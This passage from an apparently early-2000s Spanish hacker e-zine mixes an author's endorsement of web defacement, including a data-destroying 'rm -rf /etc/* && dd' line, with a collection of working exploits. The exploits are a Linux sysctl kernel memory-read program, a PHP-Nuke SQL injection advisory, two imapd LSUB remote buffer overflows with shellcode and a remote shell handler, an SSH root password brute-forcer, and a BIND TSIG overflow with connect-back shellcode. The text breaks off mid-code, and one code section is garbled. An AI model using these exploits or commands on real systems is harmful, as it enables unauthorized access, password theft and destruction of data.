falta mucho por aprender en ese campo..  ahora  para  terminar..  k  es  lo  k
apoyo y  k  es  lo  k no..  apoyo  k  se  crakee  una  web  bajo la siguientes
condiciones...

1) avisar al admin de lo k esta mal en su server, si despues de una  semana la
wea no cambia... hechate la wea :D.. pa k aprenda el rq flojo k la wea  no  es
chiste y k si le tan pagando k mueva las pelotas. 

2) estoy en desacuerdo de esa gente k destruye el sistema y la  informacion de 
empresas, etc.. si supieran lo k es el trabajo y lo k kuesta ganarse  la plata
en esta vida.. creo k no lo harian...

3) desacuerdo con la gente k bota  webs por las puras, o  pa k le aplaudan  en
IRC.. no es k me caigan mal ni nada,  solo k  lo  encentro  perder  el  tiempo
cuando prodria estar haciendo cosas mucho mejores.

4) apoyo los mensajes ocultos k no afectan a nadie..  es la raja leer los .txt
k dejan en los servers.. la verdad me recago de la risa.

5) apoyo los FORMATEOS a toos los sitios NAZI.. de  verdad  me  desagrada  esa
gente k se cree superior y mira al resto en menos y discriminan por color,sexo
raza, creencia , etc.. es realmente enfermante..

6) porno infantil fuera, tambien rm -rf /etc/* && dd if=/dev/null of=/dev/hda*

ya mierda termine se van a la chucha los k keran leer ordenada la wea... ahora
los saluos... 

1 saluo ultra especial pa ella sabe kien es (la freak alien mas linda k existe
:*) pa tod@s los cabr@s del #punk pa los wecosdel #informatica y los de #linux.

fset format_version l1nux w1ll rul3 t1ll th3 end 0f th3 d4ys..

ya saben cabros haganse hombres - Slackware la llea
haganse hombres en IRC - BitchX r00lZ
haganse hombres con X - blackbox the One and Only!!!!
grax aiooo: NetKrash
  
Autor  : NetKrash
Correo : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  - 


Autor  : Varios
Titulo : Comentarios, Reflexiones, Criticas!
EleKtr0: "Gracias a todos los que enviaron sus comentarios y reflexiones de
         este delicado tema que efecta a nuestro amigo ThEye, gracias..."





,ø¤°`´°¤ø¸
-<[ 18 ]>-
`°¤ø,¸,ø¤°


Autor     : EleKtr0
Titulo    : Bug`s & Exploit`s
Fuente    : Hispasec - Hack.co.za - SecuriTeam - Packetstorm

Cisco actualiza el IOS para prevenir una vulnerabilidad
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Debido a la existencia de múltiples vulnerabilidades en  sus  productos, Cisco
ofrece actualizaciones gratuitas de los sistemas operativos IOS  y  CatOS  que
controlan sus routers y  switches.  Se  han  descubierto  un  gran  número  de
vulnerabilidades diferentes entre sí aunque  relacionadas  que  afectan  a  la
creación  y  exposición  de  cadenas  comunitarias. Estos  fallos  pueden  ser
empleados para conseguir acceso no autorizado y  visualizar  o  modificar  los
dispositivos afectados.  Sólo son vulnerables  los  productos  Cisco  con  las
versiones de IOS afectadas  por  estos  problemas,  que  son  las  siguientes:
Los routers Cisco de las series 800, 1000, 1005, 1400, 1600, 1700, 2500, 2600,
3600, MC3810, 4000, 4500, 4700, 6200, 6400 NRP, 6400 NSP. Los routers de banda
ancha ubr900 y ubr920. Los Switches Catalyst de las series 2900  ATM,  2900XL,
2948g, 3500XL, 4232, 4840g, 5000 RSFC, 8510CSR, 8510MSR,  8540CSR  y  8540MSR.
Servidores de acceso 5200, 5300, 5800. Catalyst 6000 MSM,  6000  Hybrid  Mode,
6000 Native Mode, 6000 Supervisor Module y Catalyst ATM Blade.  Routers  Cisco
de las series RSM, 7000, 7010, 7100, 7200, ubr7200, 7500, 10000  ESR  y  12000
GSR. DistributedDirector.  Para determinar la versión  del  sistema  operativo 
que se  ejecuta  en  cada  dispositivo  es  necesario  acceder  al  sistema  e
introducir el comando "show version". El software se identificará a si  mismo,
en la segunda línea se mostrará el número de versión del sistema, por ejemplo: 
Cisco   Internetwork   Operating   System  Software  IOS  (tm)  2500  Software 
(C2500-IS-L), Version 12.0(3), RELEASE SOFTWARE  Dependiendo  del  dispositivo
y de la versión instalada de IOS será  necesario  instalar  una  actualización
diferente, por lo que recomendamos acudir  a  la  página  de  Cisco  donde  se 
precisan todos los detalles sobre las  actualizaciones  y  contramedidas  para
evitar el problema en la dirección:

http://www.cisco.com/warp/public/707/ios-snmp-community-vulns-pub.shtml




Una URL puede provocar un fallo en  un  servicio  de  IIS 5  y  Exchange  2000
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Internet Information Server 5.0 contiene un error que afecta en  la  forma  en
que se tratan las URLs con una construcción  y  longitud  específicas.  Si  se
envían múltiples peticiones de dicha URL específicamente dise¤ada podrá causar
un error en la asignación de memoria que provocará un  fallo  en  el  servicio
IIS.   Esta  vulnerabilidad  de  denegación  de  servicios  también  afecta  a
Exchange 2000. Esto ocurre debido a  la  necesidad  de  soportar  clientes  de
correo basados en web, Exchange introduce diversos  componentes  de  IIS  5.0,
y una parte del código que conforma el servidor de correo es el  afectado  por
el problema.  Los dos  programas  contienen  el  mismo  error, que  puede  ser 
explotado de la misma forma, pero el efecto en ambos casos será la  caída  del
servicio IIS. En ningún caso el servidor Exchange sufrirá  por  un  ataque  de 
este tipo, por lo que los  usuarios  podrán  seguir  usando  sus  clientes  de 
correo de forma habitual. Tan sólo se ve  afectado  el  servicio  IIS, por  lo 
que en tal caso si se  verán  afectados  los usuarios  que  hagan  uso  de  un 
cliente de correo basado en web.  Como  el  problema  ocurre  en  dos  módulos 
diferentes, uno de los cuales  se  instala  como  parte  de  IIS 5.0  y  ambos 
forman parte de Exchange 2000, los  administradores  de  Exchange  2000  deben 
instalar los dos parches que publica Microsoft para corregir el problema. Esta
vulnerabilidad tiene varios factores que mitigan su gravedad. En primer  lugar
en ningún caso podrá permitir a un  atacante  la  consecución  de  privilegios
administrativos o cualquier tipo de control sobre el servidor. Por otra  parte
los servicios afectados se reinician de forma automática en caso de fallo, por
lo que los sistemas afectados podrán reanudar su funcionamiento de forma  casi
inmediata.


Linux kernel sysctl() vulnerability (Exploit)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The Linux system call sysctl()is used  to  query  and  modify  runtime  system
settings. Unprivileged users are permitted to query the value of many of these
settings, where the unprivileged user passes in  a  buffer  location  and  the
length of this buffer. Unfortunately, by specifying a negative buffer  length,
a user can read arbitrary kernel memory.


Looking at linux/kernel/sysctl.c: sysctl_string()

int l, len;
...
if (oldval && oldlenp) {
if(get_user(len, oldlenp))
return -EFAULT;
if (len) {
l = strlen(table->data);
if (len > l) len = l;
if (len >= table->maxlen)
len = table->maxlen;
if(copy_to_user(oldval, table->data, len))
return -EFAULT;

The contents of variable "len" are totally under the control of  a  malicious
user. Since len is declared as signed, a negative value  may  be  used.  This 
bypasses the "len >= table->maxlen" check and copies kernel data to userspace,
starting at "table->data".


The sysctl.c file contains several signed/unsigned mix-ups like the above.

To exploit this, there are a couple of minor issues.

1) Copy_to_user() virtual address space wrap  check. A  check  in  the  kernel
means we need to place the destination user space buffer low  in  the  virtual
address space, using mmap(). The default heap location on i386 is too high.

2) The usefulness of this exploit will vary deepening upon if the  address  of
the table->data pointer used, is before interesting kernel  stuff.  or not  on 
ix86 Linux, this certainly seems to be the case.

Fix:
The recent flurry of updated kernels  from  vendors  includes  a  fix  for the
sysctl() problem. The fix is essentially to  use  unsigned  variables  for the
lengths.

Exploit:
/* Excuse the lack of error checking */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;

int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -2000000000;
int fd;
char* p_buf;

fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);

memset(p_buf, '{jumi [*3] [http://www.govannom.org/e-zines/electron/electron03.txt]}', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);

args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;

_sysctl(&args_of_great_doom);

fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}

Additional information The information has been provided by Chris Evans

 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >. 




Programa: PHP-NUKE
Vendor Homepage: http://www.phpnuke.org
Vendor Contacted: 27/feb/2001
Vendor Response: ??/??/??
Vendor Fix: ??/??/??
Version tested: 4.4.1a (latest version to date)
Found by: venomous
English translation: ka0z

- Problem description:
  ~~~~~~~~~~~~~~~~~~~~

The checks that are realized in the function saveuser() are not enough to
block abitrary information being passed to the query of MySQL.
[!] There are also many other functions that can be exploited the same way
described in the advisory. This adivisory describes only the function
saveuser().

- Impact:
  ~~~~~~~

It's possible for the attacker to change the e-mail address of one of the
users and ask for the password to be sent to the e-mail address that the
attacker have provided.
Of course this isn't easy since we do not know the UID of each of the
users, but this this type of information is easily obtained with
bruteforce checks.

- Exploit:
  ~~~~~~~~

powerhouse:~$ /bin/echo -e "0::2:3:4:5:6:7:8:eee" | uuencode -m f
begin-base64 644 f
MDpBbm9ueW1vdXM6MjozOjQ6NTo2Ojc6ODplZWUK     [***]

lynx http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=

The variables you can change the value are:

name='',email='', femail='', url='', bio='' , user_avatar='',
user_icq='', user_occ='', user_from='', user_intrest='', user_sig='',
user_aim='', user_yim='', user_msnm=''

In other words, if we want to change the e-mail address, we do:

lynx
http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=&email=


If you ask for the password to be sent to e-mail, you would be able to
access the account.

- Code:
  ~~~~~

Very simple script to demostrate the vulnerability:

You can get it from http://www.rdcrew.com.ar, code section.

- Fix:
  ~~~~

Wait for a patch from the author.


- Contact us:
  ~~~~~~~~~~~

Advisories, tools, IDS, texts and other stuff can be found at:
http://www.rdcrew.com.ar



 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

- Greets:
  ~~~~~~~

  people: ka0z, den0, E|Bruj0, storm, ab.
channels: #flatline at coredumped

[EOF]




Descripcion: Imapd v12.264 remote exploit for Red Hat-Exploits an overflow in
the LSUB command, which requires an account. Tested on Red Hat 5.1,  5.2, 6.0,
6.1, and 6.2 with IMAP4rev1 v10.223, v11.241, v12.250, and v12.264.


Nombre     : imapd_lsub.c
Sistema    : Linux / Red Hat 5.1 5.2 6.0 6.1 6.2
Tipo       : Remoto
Daemon     : imapd

Exploit:

/* Exploit by Narrow <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >  (29 September 2000) */

#include 
#include 

struct types {
    char *imapver;
    unsigned long ret_addr;
    int offset;
};

struct types types[] = {
    {"Red Hat 6.2 - IMAP4rev1 v12.264",0xbffff2c8,0},
    {"Red Hat 6.1 - IMAP4rev1 v12.250",0xbffff2c4,0},
    {"Red Hat 6.0 - IMAP4rev1 v12.250",0xbffff2f0,0},
    {"Red Hat 5.2 - IMAP4rev1 v11.241",0xbffff320,0},
    {"Red Hat 5.1 - IMAP4rev1 v10.223",0xbffff31c,0},
    {NULL,0,0}
};

char shellcode[] = /* shellcode from imapx.c */
        "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
        "\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
        "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
        "\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
        "\x2f\x32\x39\x3e\x2f\x43\x38"; 

int main(int argc, char **argv)
 {
char buf[1064];
int i,type;
  
if(argc < 3) {
printf("Usage: %s   \n\n", argv[0]);
printf("Type:\n");
for(i=0; i<=4; i++) printf("%d - %s\n", i, types[i].imapver);
return 0; } type = atoi(argv[3]);
memset(buf, 0x90, 1032);
memcpy(buf+613, shellcode, strlen(shellcode));
for(i=strlen(shellcode)+613; i<=1064; i+=4)
*(long *)&buf[i] = (unsigned long)types[type].ret_addr - types[type].offset;
printf("1 LOGIN %s %s\r\n", argv[1], argv[2]);
printf("1 LSUB \"\" {1064}\r\n");
for(i=0; i<1064; i++) putchar(buf[i]);
printf("\r\n");
}




Descripcion: imapd remote lsub vulnerability
Nombre     : lsub.c
Sistema    : Linux / slackware 7.1/7.0 & redhat 6.2
Tipo       : Remoto
Daemon     : imapd

/* 
 *			!!! Private !!!
 *
 *  imapd IMAP4rev1 v12.261, v12.264 and 2000.284 Remote Exploit. Others? Yes!
 *
 *  By: SkyLaZarT ( 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ) .aka. Felipe Cerqueira
 *  Homepage: www.BufferOverflow.Org
 *  Thankz: cync, oldm and Jans. ( BufferOverflow.org Team )
 *		Antonio Marcelo and Felipe Saraiva
 *
 */


#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 

#define SIZE		1064
#define NOP		0x90
#define RET12261	0xbffff3ec
#define RET12264	0xbffff4e0
#define RET12264ZOOT	0xbffff697
#define RET2000_284	0xbfffebc8

#define INIT(x)	bzero(x, sizeof(x))
#define READ(sock,x) read(sock, x, sizeof(x)) 


#define TIMEOUT		20

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int debug = 0;


void openshell(int sock, int check);
void processSignal(int signum);

void processSignal(int signum) {
	fprintf(stderr, "Time out!!\n");
	exit(-1);
}


void openshell(int sock, int check) {
	char buffer[1024];
	fd_set rset;
	int i;
	
	while(1) {
		FD_ZERO(&rset);
		FD_SET(sock, &rset);
		FD_SET(fileno(stdin), &rset);

		select(sock + 1, &rset, NULL, NULL, NULL);

		if (FD_ISSET(sock, &rset)) {
			if ((i = read(sock, buffer, sizeof(buffer))) <= 0) {
				fprintf(stderr, "Connection terminated!\n");
				close(sock);
				exit(-1);
			} else {
				buffer[i] = 0x00;
				if(check) {
					if (!(strstr(buffer, "uid"))) {
						fprintf(stderr, "Exploit failed\n");
						exit(-1);
					} else {
						fprintf(stderr, "Exploit Success!!\n");
						check = 0;
					} 
				}

				puts(buffer);
			}
		}

		if (FD_ISSET(fileno(stdin), &rset)) {
			if ( check ) write(sock, "id\n", 3);
				
			if ((i = read(fileno(stdin), buffer, 
					sizeof(buffer))) > 0) {
				buffer[i] = 0x00;
				write(sock, buffer, i);
			}
		}
	}
}
				
				
int main(int argc, char **argv) {
	char buffer[SIZE], sockbuffer[2048];
	char *login, *password;
	long retaddr; 
	struct sockaddr_in sin;
	struct hostent *hePtr;
	int sock, i;	

	fprintf(stderr, "\nRemote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284\n"
		"Developed by SkyLaZarT - www.BufferOverflow.org\n\n");

	if ( argc < 5 ) {
		fprintf(stderr, "%s     [offset]\n", argv[0]);
		fprintf(stderr, "\ttype: [0]\tSlackware 7.0 with IMAP4rev1 v12.261\n"
				"\ttype: [1]\tSlackware 7.1 with IMAP4rev1 v12.264\n"
				"\ttype: [2]\tRedHat 6.2 ZooT with IMAP4rev1 v12.264\n"
				"\ttype: [3]\tSlackware 7.0 with IMAP4rev1 2000.284\n\n");


		exit(-1);
	}

	login = argv[2];
	password = argv[3];

	switch(atoi(argv[4])) {
		case 0: retaddr = RET12261; break;
		case 1: retaddr = RET12264; break;
		case 2: retaddr = RET12264ZOOT; break;
		case 3: retaddr = RET2000_284; break;
		default: 
			fprintf(stderr, "invalid type.. assuming default " 
				"type 0\n");
			retaddr = RET12261; break;
			
	}

	if ( argc == 6 ) 
		retaddr += atoi(argv[5]);

	signal(SIGALRM, processSignal);	

	fprintf(stderr, "Trying to exploit %s...\n", argv[1]);

	fprintf(stderr, "Using return address 0x%08lx. Shellcode size: %i bytes\n\n", retaddr, strlen(shellcode));


	alarm(TIMEOUT);
	hePtr = gethostbyname(argv[1]);
	if (!hePtr) {
		fprintf(stderr, "Unknow hostname : %s\n", strerror(errno));
		exit(-1);
	}
	alarm(0);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	if ( sock < 0 ) {
		perror("socket()");
		exit(-1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(143);
	memcpy(&sin.sin_addr, hePtr->h_addr, hePtr->h_length);
	bzero(&(sin.sin_zero), 8);

	fprintf(stderr, "Connecting... "); 
	alarm(TIMEOUT);
	if ( connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
		fprintf(stderr, "failed to %s:143\n", argv[1]);
		exit(-1);
	}
	alarm(0);	
	
	fprintf(stderr, "OK\n");

	
        for ( i = 0; i <= SIZE; i += 4 )
                *(long *)&buffer[i] = retaddr;

        for ( i = 0; i < ( SIZE - strlen(shellcode) - 100); i++ )
                *(buffer+i) = NOP;

        memcpy(buffer + i, shellcode, strlen(shellcode));

	INIT(sockbuffer);
	READ(sock, sockbuffer);

	if(debug) fprintf(stderr, "debug %s", sockbuffer);	

	fprintf(stderr, "Trying to loging ... ");

	sprintf(sockbuffer, "1 LOGIN %s %s\n", login, password);
	write(sock, sockbuffer, strlen(sockbuffer));
	
	INIT(sockbuffer);
	READ(sock, sockbuffer);

	if(debug) fprintf(stderr, "debug %s", sockbuffer);
	
	if (!(strstr(sockbuffer, "OK LOGIN completed"))) {
		fprintf(stderr, "Login failed!!\n");
		close(sock);
		exit(-1);
	}

	fprintf(stderr, "OK\n");
	
	INIT(sockbuffer);
	sprintf(sockbuffer, "1 LSUB \"\" {1064}\r\n");
	write(sock, sockbuffer, strlen(sockbuffer));

        INIT(sockbuffer);
        READ(sock, sockbuffer);

	if(debug) fprintf(stderr, "debug %s", sockbuffer);
	
	if(!(strstr(sockbuffer, "Ready"))) {
		fprintf(stderr, "LSUB command failed\n");
		close(sock);
		exit(-1);
	}	

	fprintf(stderr, "Sending shellcode... ");	
	
	write(sock, buffer, 1064);
	write(sock, "\r\n", 2);

	fprintf(stderr, "OK\n");
	
	fprintf(stderr, "PRESS ENTER for exploit status!!\n\n");	

	openshell(sock, 1);	
							
	close(sock);

	return 0;
}




Descripcion: sshd brute force root's password without detection remote
Nombre     : ssh-brute.sh
Tipo       : Remoto
Daemon     : sshd

#!/usr/bin/expect -f
#
# simple expect exploit to brute force root's password via ssh without
# detection.. see CLABS200101 for info on this exploit.
#
# this is beerware, just buy me a beer at defcon if you like this.
# build your own dictionary, use at your own risk, no warranty, etc.
#
# 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 		january, 2001
#
set timeout 3
set target [lindex $argv 0]
set dictionary [lindex $argv 1]

if {[llength $argv] !=  2} {
   puts stderr "Usage: $argv0 root@target dictionary\n"
   exit }

set tryPass [open $dictionary r]

foreach passwd [split [read $tryPass] "\n"] {
  spawn ssh $target
  expect ":"
  send "$passwd\n"
  expect "#" { puts "password is $passwd\n" ; exit }
  set id [exp_pid]
  exec kill -INT $id
}




Descripcion: bind 8.2.x tsig off-by-one stack overflow 
Nombre     : tsl_bind.c
Tipo       : Remoto
Daemon     : named


/*
 * Tamandua Laboratories. - CONFIDENTIAL - *** PROOF OF CONCEPT ***
 * Copyright (C) 2001 Tamandua Laboratories.
 * Powered by Axur Communications Inc. - www.axur.org
 *
 * Author   : Gustavo Scotti   (
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 )
 * Co-Author: Thiago Zaninotti 
 *
 *
 * ENGLISH EXPLANATION:
   --------------------
   
   HOW DOES THE TSIG's BUG WORK, AND HOW TO EXPLOIT IT?
   
   The NAI(1)'s discovered TSIG bug is serious, but not that much. To
   exploit it, you'll need lucky (or at least some well known host).

   Actually, you get the stack modified, and all you can overwrite is
   ebp, not the return address. This give us a longer way to get the 
   return address modified. I'll try to exemplify it on pure ASCII graphics:
   
                    | EBP  | RET ADDRESS | FUNCTION PARAMETERS
                    ^
                   ESP
                   
   The named server after finding the TSIG RR, and checking that the key is 
   not valid, by its rfc, it answers the question, but appends a truncated 
   TSIG RR. The vulnerability is: the named calculates the message lenght by
   the fully qualified TSIG record, not by checking the truncated one. 
   
   When named starts to re-construct the answer, it skips the question, and 
   then answers the truncted RR TSIG. The way we did it, we offer named a as 
   much longer as question can be, so when it answers the TSIG, boom, we got
   our ebp modified.
   
   
   EVERYTHING CAN'T BE SO TRIVIAL:
   
   You are right! When the function named as "datagram_read" exits, the ebp
   is then changed, affecting its parent function that calls "__evDrop". 
   evDrop needs a pointer to a structure, so it can process the event ok. 
   When ns_sign overrun the stack, it fills in with "0x0011" (error code to 
   badkey) and "0x0000" (other data len - only used when errorcode = badtime).
   In other words, you cannot fill in the LSB's ebp with arbitrary value. 
   After some while, we found out that:
   
       * To exploit it, you'll need the ebp lsb >= 0x54. That's because of
         ebp, and the internal evDrop local variables and the TSIG answer.
         A distribution should load as much environment variables as to make
         ebp least significant byte greater than 0x54. Slackware almost do 
         that, so it's not vulnerable by default. Redhat showed us that it is
         vulnerable. Other distros should be checked. We have made a probing
         method that would help you port it to your distribution.
         
         
       * Getting your signatures:
       
         1) boot your linux distro straight! - this is very important
         2) get the process PID and then run gdb
         3) type "attach "
         3) (gdb) continue
         4) run the probe mode.
         5) if you get a SIGABORT, then your distribution is not vulnerable.
         6) if you get a SEGV, you have great chances to exploit it :)
         7) issue a "i r ebp" on gdb
            take a look:
            ebp         0xbffff8dc
                                ^^-> this is the least significant byte,
                                     if you don't know him :)
            This value should be greater than 0x54. (in this case, it is
            vulnerable);
            
         8) pass it as a parameter to the exploit, and you'll get there :)
         
            
       * There are differences when the system runs "named" and when a user
         runs it. That's all because environment variables (when you log in, 
         you load up a lot more of it). So you can scan both modes.
         
       * PS: Now of Feb 4th, we have included the infoleak bug to probe for
         ebp values. - no more debug nor operating system probes. 
         
 
 (1) NAI is a registered trademark of Network Associates Inc. and it is copyrighted.


*/

#include 
#include 
#include 
#include 
#include 
#include 

typedef	unsigned char        u8;
typedef unsigned short       u16;
typedef unsigned long        u32;

/* SHELLCODE - this is a connect back shellcode */

u8 shellcode[]=
"\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46"
"\x04\x7f\x00\x00\x01\x31\xc0\x89\x46\x08\x89\x46\x0c\x31\xc0\x89"
"\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
"\x31\xc0\x83\xc0\x66\x51\x53\x50\xcd\x80\x89\x46\x20\x90\x3c\x90"
"\x8d\x06\x89\x46\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x58\x5b\x59"
"\x43\x43\xff\x76\x20\xcd\x80\x5b\x4f\x74\x32\x8b\x04\x24\x89\x46"
"\x08\x90\xbd\x7f\x00\x00\x01\x89\x6e\x04\xc7\x06\x03\x80\x35\x86"
"\xb8\x04\x00\x00\x00\x8d\x0e\x31\xd2\x83\xc2\x0c\xcd\x80\xc7\x06"
"\x02\x00\x0b\xab\x89\x6e\x04\x90\x31\xff\x47\xeb\x88\x90\x31\xc0"
"\x83\xc0\x3f\x31\xc9\x50\xcd\x80\x58\x41\xcd\x80\xc7\x06\x2f\x62"
"\x69\x6e\xc7\x46\x04\x2f\x73\x68\x00\x89\xf0\x83\xc0\x08\x89\x46"
"\x08\x31\xc0\x89\x46\x0c\xb0\x0b\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"
"\xcd\x80\x31\xc0\x40\xcd\x80";
/* DIVERSE OPERATING SYSTEMS NUMBERS */
struct t_os
   {
   u8	*name;
   u32  ebp;
   u32  desloc;
   };
   
struct t_os OS[]={
   { "Linux Slackware TMDLabs tests - Gustavo", 0xbffff8cc, 2 }
 , { "Linux Redhat 6.1 8.2.2-P5 - Gustavo", 0xbffffc5c, 2 }
 , { NULL, 0 }
};

int verbose=0;

/* DNS STRUCTURE */
struct t_query
{
   u16 		id;
   u8		rd:1,		/* recursion desired */
      		tc:1,		/* truncated message */
                aa:1,		/* authoritative answer */
                opcode:4,	/* message opcode */
                qr:1;		/* response flag */
   u8	        rcode:4,	/* response code */
      		unused:2,
                pr:1,		/* primary server required */
                ra:1;		/* recursion available */
   u16	        qdcount,	/* no of question entries */
      		ancount,	/* no of answers entries */
                nscount,	/* no of authority entries */
                arcount;	/* no of resource entries */
};


/* NETWORKING FUNCTIONS */
u32 
dns2ip( host)
u8 *host;
{
        struct hostent *dns;
        u32	saddr;
        dns = gethostbyname( host);
        if (!dns)
           return 0xffffffff;
        bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
        return ntohl(saddr);
}

int
udp_connect(u32 addr, u16 port)
{
	struct sockaddr_in client;
        int new_fd;

        new_fd = socket( AF_INET, SOCK_DGRAM, 0);
        if (new_fd<0)
           return -1;
        
   	bzero( (char *) &client, sizeof( client));
        client.sin_family = AF_INET;
        client.sin_addr.s_addr = htonl( addr); 
	client.sin_port = htons( port);
        if (connect( new_fd, (struct sockaddr *) &client, sizeof(client))<0)
           return -2; /* cant bind local address */

        return new_fd;
}

u32 retrieve_local_info(int sock)
{
   struct sockaddr_in server;
   int    soclen;
   soclen = sizeof(server);
   if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
       {
       printf("*  error in getsockname\n");
       exit(0);
       }
   return htonl(server.sin_addr.s_addr);
}

int 
bind_tcp( u16 *port)
{
   struct sockaddr_in mask_addr;
   int sock, portno=25000; /* base_port */

   sock = socket( AF_INET, SOCK_STREAM, 0);
   if (sock<0)
      return sock;

redo:
   mask_addr.sin_family = AF_INET;
   mask_addr.sin_port = htons( portno);
   mask_addr.sin_addr.s_addr = 0;

   if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
      {
error:
      portno++;
      if (portno>26000)
         {
         printf("*  no TCP port to bind in.\n");
         exit(0);
         }
      goto redo;
      }
   if (listen( sock, 0)<0)
      goto error;

   printf(".  TCP listen port number %d\n", portno);
   if (port)
      *port = portno;
   return sock;
}


/* DNS functions */

u8 
*encode_name( u8 *data, int *out_size)
{
   int i,n;
   static u8 out[1024];
   u8  *head;
   
   head = out;
   snprintf(out, sizeof(out), "1%s", data);
   *out_size = strlen(out);
   for (n=0,i=1;i<*out_size;i++)
       {
       if (out[i]=='.') 
          {
          *head = n;
          head = &out[i];
          n=0;
          }
       else n++;
       }
   *head=n;
   return out;
}

void fill_domainname(u8 *fill, int size)
{
   u8 c='A';
   while (size)
      {
      int n,i;

      if (size>63) n=62;
         else n=size-1;
         
      *fill++=n; 
      if (c!=0x44)
         memset(fill, c, n);
      else
        for (i=0;iid = getpid();
   hdr->qdcount = 1;
   hdr->opcode  = 0; /* QUERY */
   hdr->arcount = 1; /* yes, we have the TSIG here */

   data = (u8 *)(hdr + 1);
   
   encoded_shell = assembly_shellcode( ebp);
   memcpy(data, encoded_shell, 489);
   data += 489;
   *(u16 *)data = htons(1); 	/* QUERY type */
   data += sizeof(u16);
   *(u16 *)data = htons(1); 	/* QUERY class */
   data += sizeof(u16);
   *data++ = 0; 		/* RR DOMAIN NAME (none) */
   *(u16 *)data = htons(250); 	/* TSIG RR type */
   data += sizeof(u16);
   *(u16 *)data = htons(255); 	/* TSIG RR class = ANY */
   data += sizeof(u16);

   /* switch host to network byte ordering (HEADER ONLY!) */
   hdr->id = htons( hdr->id);
   hdr->qdcount = htons( hdr->qdcount);
   hdr->ancount = htons( hdr->ancount);
   hdr->nscount = htons( hdr->nscount);
   hdr->arcount = htons( hdr->arcount);
   
   return (data - packet);
}

int
assembly_dns_infoleak_query( u8 *packet)
{
   struct t_query	*hdr;
   u8			*data, *encoded_zone;
   int 			size;
   
   bzero(packet, sizeof(struct t_query));
   hdr = (struct t_query *)packet;

   hdr->id = getpid();
   hdr->opcode  = 1; 			/* IQUERY */
   hdr->rd = 1; hdr->ra = 1;
   hdr->ancount = 1;

   data = (u8 *)(hdr + 1);
   fill_domainname( data, 440);
   data[440]=0;
   data+=441;
   
   *(u16 *)data = htons(1); 		/* A type */
   data += sizeof(u16);
   *(u16 *)data = htons(1);		/* CHAOS class */
   data += sizeof(u16);
   *(u32 *)data = htonl(1);		/* TTL */
   data += sizeof(u32);
   *(u16 *)data = htons(255);		/* EVIL SIZE */
   data += sizeof(u32);
   /* switch host to network byte ordering (HEADER ONLY!) */
   hdr->id = htons( hdr->id);
   hdr->qdcount = htons( hdr->qdcount);
   hdr->ancount = htons( hdr->ancount);
   hdr->nscount = htons( hdr->nscount);
   hdr->arcount = htons( hdr->arcount);
   
   return (data - packet);
}

int
assembly_dns_chaos_query( u8 *packet)
{
   struct t_query	*hdr;
   u8			*data, *encoded_zone;
   int 			size;
   
   bzero(packet, sizeof(struct t_query));
   hdr = (struct t_query *)packet;

   hdr->id = getpid();
   hdr->qdcount = 1;
   hdr->opcode  = 0; 			/* QUERY */

   data = (u8 *)(hdr + 1);
   
   encoded_zone = encode_name( "version.bind", &size);
   encoded_zone[size++]=0;
   memcpy(data, encoded_zone, size);
   data += size;
   *(u16 *)data = htons(16); 		/* TXT type */
   data += sizeof(u16);
   *(u16 *)data = htons(3);		/* CHAOS class */
   data += sizeof(u16);

   /* switch host to network byte ordering (HEADER ONLY!) */
